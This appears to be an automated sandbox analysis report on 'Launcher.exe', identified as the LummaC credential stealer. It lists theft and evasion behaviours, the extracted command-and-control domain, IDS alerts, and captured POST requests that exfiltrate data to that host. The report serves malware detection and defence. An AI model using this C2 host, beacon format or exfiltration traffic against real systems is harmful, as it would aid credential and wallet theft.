Edit tour

Windows Analysis Report
Launcher.exe

Overview

General Information

Sample name:	Launcher.exe
Analysis ID:	1561497
MD5:	3ca9ca734f501c8de4270556f80f0f60
SHA1:	47652fb87960680ffe11dbc27a7969a2dacac97e
SHA256:	cfe6d27ef692f436653789758b0713bf8c6e1ed6267bd22775ed482777db96e5
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Launcher.exe (PID: 2360 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: 3CA9CA734F501C8DE4270556F80F0F60)

conhost.exe (PID: 3220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Launcher.exe (PID: 5688 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: 3CA9CA734F501C8DE4270556F80F0F60)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["farewellnzu.icu"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 5688	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 5688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 5688	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:12:56.139869+0100	2028371	3	Unknown Traffic	192.168.2.6	49699	172.67.198.61	443	TCP
2024-11-23T15:12:58.155926+0100	2028371	3	Unknown Traffic	192.168.2.6	49700	172.67.198.61	443	TCP
2024-11-23T15:13:00.455993+0100	2028371	3	Unknown Traffic	192.168.2.6	49701	172.67.198.61	443	TCP
2024-11-23T15:13:02.633812+0100	2028371	3	Unknown Traffic	192.168.2.6	49702	172.67.198.61	443	TCP
2024-11-23T15:13:04.879612+0100	2028371	3	Unknown Traffic	192.168.2.6	49703	172.67.198.61	443	TCP
2024-11-23T15:13:07.273471+0100	2028371	3	Unknown Traffic	192.168.2.6	49705	172.67.198.61	443	TCP
2024-11-23T15:13:09.881039+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	172.67.198.61	443	TCP
2024-11-23T15:13:13.548014+0100	2028371	3	Unknown Traffic	192.168.2.6	49724	172.67.198.61	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:12:56.824663+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49699	172.67.198.61	443	TCP
2024-11-23T15:12:58.873935+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49700	172.67.198.61	443	TCP
2024-11-23T15:13:14.265345+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49724	172.67.198.61	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:12:56.824663+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49699	172.67.198.61	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:12:58.873935+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49700	172.67.198.61	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:13:07.978282+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49705	172.67.198.61	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://farewellnzu.icu/pi

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2102673577.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["farewellnzu.icu"]}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 82.5% probability

Machine Learning detection for sample

Source: Launcher.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: farewellnzu.icu
Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00418BE3 CryptUnprotectData,

3_2_00418BE3

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.61:443 -> 192.168.2.6:49724 version: TLS 1.2

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0025174A FindFirstFileExW,	0_2_0025174A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_002517FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_002517FB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0025174A FindFirstFileExW,	3_2_0025174A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_002517FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_002517FB

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, edx	3_2_0043D880
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-43h]	3_2_00420970
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi-000000BEh]	3_2_0040A10E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00418BE3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edx+2EBA049Dh]	3_2_0040CE5A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00440620
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, esi	3_2_00440740
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then lea eax, dword ptr [esp+3Ch]	3_2_0040C7A5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, ebx	3_2_00439040
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C84A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, eax	3_2_0042CD62
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00429F62
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 1B6183F2h	3_2_00429813
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C8DC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D0F6
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then add eax, edx	3_2_00426959
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	3_2_00426910
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C918
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C929
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov bx, 0008h	3_2_00404930
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp ecx	3_2_00404930
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_004231F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp dword ptr [00445ED4h]	3_2_0040B989
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp al, 5Ch	3_2_00402190
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi-40D3E74Fh]	3_2_0042A1A2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000F0h]	3_2_0040DA43
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ecx	3_2_0040EA4F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+6FB81553h]	3_2_0041D201
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_0042BA10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	3_2_00439290
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, edx	3_2_00428A9C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	3_2_00428A9C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, esi	3_2_00425344
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	3_2_004298A8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edx], cl	3_2_0042D318
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ebp	3_2_004393D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edx], cl	3_2_0042D380
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edi, byte ptr [eax]	3_2_0042E388
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00423450
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042B450
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041AC64
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, eax	3_2_00405C20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebp, eax	3_2_00405C20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, eax	3_2_00440CD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004294BD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, eax	3_2_0042CD67
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp dword ptr [00447FC4h]	3_2_00427580
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-59BD808Dh]	3_2_00427580
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00427580
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, ecx	3_2_0042ADAB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	3_2_0042ADAB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, ebx	3_2_00408E00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00435E10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp dword ptr [00445ED4h]	3_2_0040B626
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-47412FB0h]	3_2_0041CED0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041CED0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, edx	3_2_0040BEB1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+14h]	3_2_00428F5D
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00429F62
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, eax	3_2_00422776
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp dword ptr [00447FC4h]	3_2_00427774
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00427774
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edx, byte ptr [edi+eax+7035CC0Ch]	3_2_0041DF00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, ecx	3_2_00421F10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49700 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49700 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49705 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49724 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49699 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49699 -> 172.67.198.61:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: farewellnzu.icu

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49701 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49724 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49702 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49699 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49703 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49705 -> 172.67.198.61:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49700 -> 172.67.198.61:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KH182FAKYTKNBSET0JQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12872Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ODT8QICBOD0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15070Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I7NI61LWEADUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19928Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WP6G358XV8BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1183Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K093XR63GLCDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571912Host: farewellnzu.icu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: farewellnzu.icu

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: farewellnzu.icu

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: farewellnzu.icu

Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Launcher.exe, 00000003.00000003.2256165464.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2279108045.00000000034EF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2237349522.00000000034AA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.00000000034AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Launcher.exe, 00000003.00000003.2215048182.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2237349522.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/
Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/R
Source: Launcher.exe, 00000003.00000003.2279108045.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/api
Source: Launcher.exe, 00000003.00000003.2216504961.000000000351C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/api(
Source: Launcher.exe, 00000003.00000002.2302063024.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/apibTr
Source: Launcher.exe, 00000003.00000003.2216504961.000000000351C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/apiu
Source: Launcher.exe, 00000003.00000002.2301370627.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/d
Source: Launcher.exe, 00000003.00000003.2237349522.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/icjJY%
Source: Launcher.exe, 00000003.00000003.2256165464.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2279108045.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://farewellnzu.icu/pi
